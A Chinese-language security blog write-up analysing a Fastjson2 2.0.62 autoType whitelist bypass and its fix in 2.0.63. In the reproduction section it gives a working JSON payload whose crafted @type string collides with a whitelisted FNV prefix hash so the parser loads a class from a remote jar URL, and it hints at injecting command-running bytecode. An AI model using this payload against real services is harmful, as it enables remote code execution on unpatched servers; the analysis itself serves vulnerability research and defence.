java安全-FastJson2.0.62绕过
FastJson2.0.62绕过
和1.2.84同一天发布的2.0.63也非常有意思,关于这个版本的绕过没有被收录到cve中

至于2.0.64,官方也申明这只是对一些bug的修改
1 | https://github.com/alibaba/fastjson2/issues/7702 |

漏洞最早被公布的时候是
2026-07-27 14:44 长亭安全应急响应中心微信公众号发布的
1 | https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA |
官方发布的Fastjson2.0.63公告也表示此漏洞的存在
1 | https://github.com/alibaba/fastjson2/releases/tag/2.0.63 |
一、Fastjson2系列
fastjson2系列算是直接把fastjson1系列推倒重做出来的一个新的库,最主要的就是对于性能上的优化,接着就是安全方面的优化
1.性能方面的提升
这一块不做细致研究一共就是以下俩方面
字段匹配方面

缓存存储方面
- fastjson1 输出缓冲是 char[],要出 byte[] 得再做一遍 UTF-8 编码——数据搬两趟。而实际场景(HTTP、Redis、RPC)要的都是 byte[]
- fastjson2 直接写 byte[],而且 JDK9+ 的 String 内部本来就是 byte[],它用 Unsafe 把那个数组零拷贝掏出来,纯 ASCII 情况下一次 arraycopy 完事,编码工作量为零
2.安全方面的改动
Fastjson1系列对历次的绕过的修补最主要的是通过黑名单拦截,定义一个黑名单不断打补丁,一道道封锁恶意类,截止最新版本有 168 条黑名单哈希
其次就是通过checkAutoType 十几个分支修补,而且某些分支即使关了 autoType 也会先 loadClass——类一加载静态块就跑了,还没轮到检查
Fastjson2给出的答案是
- 默认关闭,没打开就 return null,根本不加载类
- 白名单命中后还要用原文再确认一次——哈希只是预筛,碰撞攻击失效
- 黑名单只剩两条,而且按类型判断
具体大概就是在checkAutoType函数上

也就是这个骨架
822 checkAutoType(String typeName, Class<?> expectClass, long features)
823 ├─ typeName 为空 → return null
827 ├─ autoTypeBeforeHandler 命中 → return(用户钩子,最高优先级)
835 ├─ SAFE_MODE → return null
840 ├─ 类名长度 >= 192 → throw
847 ├─ hasIllegalTypeNameChars → return null
851 ├─ ‘[‘ 开头 → 递归检查组件类型
856 ├─ expectClass 名字完全相同 → return expectClass(不 loadClass)
861 │ autoTypeSupport = (features & SupportAutoType) != 0
868 ├─ if (autoTypeSupport) {白名单前缀扫描 → loadClass → deny 复查 → return} ← 第②③点
901 ├─ if (!autoTypeSupport) {白名单前缀扫描 → loadClass → deny 复查 → return} ← 第②③点
935 ├─ if (!autoTypeSupport) return null; ★ 第①点的闸门
939 ├─ TypeUtils.getMapping(typeName) 内置类型表
954 ├─ clazz = loadClass(typeName) ★ 唯一的”任意类”加载点
957 ├─ isAutoTypeDenyClass(clazz) → throw ★ 第③点
964 └─ expectClass.isAssignableFrom(clazz) 校验
autoTypeSupport参数一般默认为false,所以,如果白名单没检测到之后,就直接返回null,不在加载类

白名单检测这一块很有意思
fastjson在2026年7月29日发布的 fastjson2 2.0.63才把这个完善好
原来的版本逻辑如下

完善的逻辑就是加入一个原文检测的逻辑
1 | if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { // ① 快速预筛 |
① 增量哈希扫前缀,哈希不是一次性算完整类名,而是每读一个字符更新一次、每一步都查一次白名单,这样一次 O(n) 的扫描就同时检查了这个类名的所有前缀——com.、com.f、com.fo、com.foo.……直到完整类名
② 命中后必须用原文再确认一次, 这是这个防御的核心,typeName.substring(0, i + 1) 取出刚才那一步扫到的前缀原文,去 acceptNameSet 里查,只有这个 HashSet
攻击者构造出哈希碰撞,最多骗过 ①,到 ② 就死了——因为构造的类名原文不可能等于你配置的白名单原文,这也就是本次讲解绕过的核心
黑名单部分

fastjson2整个黑名单就这两行,覆盖两个类型层级

用一句话概括三者的关系:
第①点决定”要不要开门”,第②点决定”这个人有没有资格进”,第③点决定”就算有资格,带这种东西也不准进”
fastjson1 只有第③点,而且是拿着一张 168 张脸的通缉令在门口比对——没有闸门,没有身份确认,只有一张永远画不完的黑名单
3.入口方面
方法入口与名称没有变化
不同的是重构了反序列化逻辑
从
1 | DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues); |
变为了

整体的改动就是

也就是说关于ParserConfig这个类,被肢解为
| fastjson1 | fastjson2 | 职责 |
|---|---|---|
| ParserConfig.global | JSONFactory.getDefaultObjectReaderProvider() | 全局单例入口 |
| ParserConfig 的 deserializers 表 | ObjectReaderProvider | 类型→ObjectReader 注册表 |
| ParserConfig 的 features /dateFormat / classLoader | JSONReader.Context | 单次解析的配置 |
| SerializeConfig,字节码读写不一致 | ObjectWriterProvider + JSONWriter.Context | 写侧完全对称 |
之前在Fastjson1中被疯狂绕过的checkAutoType逻辑被拆到了ObjectReaderProvider这个类中
1 | ObjectReaderProvider.checkAutoType(String typeName, Class<?> expectClass, long features) |
并且只有唯一一个调用点,这个和之前的不同
1 | JSON.parseObject(text, User.class) |
当传入一个@Type字串时,具体调用流程如下
1 | String json = "{\"@type\":\"com.foo.Dog\",\"name\":\"旺财\",\"breed\":\"柴犬\"}"; |
一共会进行这五步

也就是这里

具体到第五步的时候,就是整个Fastjson2重要的逻辑
这里objectReader走的是
com/alibaba/fastjson2/reader/ObjectReader2.java
readObject主要逻辑就是读取第一个字符之后的for循环,其中重要的provider.checkAutoType也在这里

其中for循环中

真正去加载类getObjectReaderAutoType函数逻辑

默认读取字节流

接着重要的就是checkAutoType函数
其中主要逻辑如下

接着就是一路返回到

二、绕过
1.复现
1 | body = '{"@type": "jar:http:..localhost:18181.x.\uBABF\u0A51\u0290\u4CD2!.probe.Marker", "x": 1}' |
1 | https://cdn.jsdelivr.net/gh/zc-18/chuanimages@main/img/202609011818411.zip |
这个是我复现的环境,依旧是fatjar启动而不是启动类
环境方面如下
1 | JDK 8u65 |
靶机与恶意服务器环境启动后,向靶机发送payload即可复现
如果想要实现计算机的话,在对应位置加入
1 | initializer.visitMethodInsn( |
即可实现

2.原理
其实绕过点很简单,重点利用了Fowler–Noll–Vo 哈希算法的漏洞

Fastjson2中调用
1 | JSON.parseObject(body, Object.class) |
时,会一路走到

其中这个重要函数中,进行检测的重要一部逻辑如下

这个的逻辑时拿我们传入的类名去做增量 FNV然后和白名单做对比
同时,白名单部分在项目启动时有默认配置
ObjectReaderProvider中

同时这个类明文就是
1 | com.alibaba.fastjson.util.AntiCollisionHashMap |
然后,当我们的payload
1 | jar:http:..localhost:18181.x.\uBABF\u0A51\u0290\u4CD2!.probe.Marker |
走到这个白名单做增量检测的时候,具体逻辑如下
1 | for (每个前缀字符) { |
所以,就特意构造出
1 | jar:http:..localhost:18181.x.\uBABF\u0A51\u0290\u4CD2 |
这样的字符,他在FNV时,刚好命中默认
1 | -6293031534589903644L |
这个默认的硬编码
也就是实现了
前缀 hash 命中 accept
从而直接进行类加载

至于这个字串怎么得来的,设计到FNV 逆向我也没搞清楚
接着就是类加载
1 | clazz = loadClass(typeName); |
此时,需要保证上下文类加载器为
1 | LaunchedURLClassLoader |
当前目标环境使用的是

至于不同组合间,请求线程的默认上下文类加载器列表如下

至于如果是内嵌的tomcat的话,如何实现绕过就是上一篇文章具体说明的了
总之,这一次的绕过就是
readTypeHashCode() 只是快路径查缓存;真正漏洞在 checkAutoType():用“前缀 FNV 命中”来决定是否信任,却把“完整typeName”交给 loadClass()
于是就能构造:前缀负责过 hash,后缀负责变成远程 jar: 资源路径
三、修复
2026-7-29 maven 发布修复包,对本次绕过做出修复,但是并无cve,理论上觉得还是影响范围不大吧
说到影响范围,fastjson2不像1系列那么开放吧,默认情况下的JSON.parseObject(body)方法就可以识别的@Type参数,并且进行类加载
Fastjson2中可以识别到@Type的多态实现形式如下

修复部分实现的很简单
1 | https://github.com/alibaba/fastjson2/compare/2.0.62...2.0.63 |
1.添加过滤条件
新增俩个过滤函数
- TypeUtils.hasIllegalTypeNameChars
- TypeUtils.normalizeAcceptName
1 | public static boolean hasIllegalTypeNameChars(String typeName) { |
放置到了白名单判断前以及类加载前


2.做原文匹配
之前,是前缀匹配之后,直接通过做类加载,为了修复这一块问题,特意新增了 acceptNameSet
1 | private volatile long[] acceptHashCodes; |
初始化 accept 列表时,不再只存 hash,也把规范化后的 accept 明文名存进 acceptNameSet

也就是
- hash 命中只是候选
- 还要再核对实际前缀文本是否真的在 accept 白名单里
总的来说,fastjson2系列比较安全,也很少有出现过像fastjson1系列的cve漏洞
大体搜索过后,2系列甚至没有出现过cve,感觉2系列把1系列推到重做,这个想法还是蛮不错的!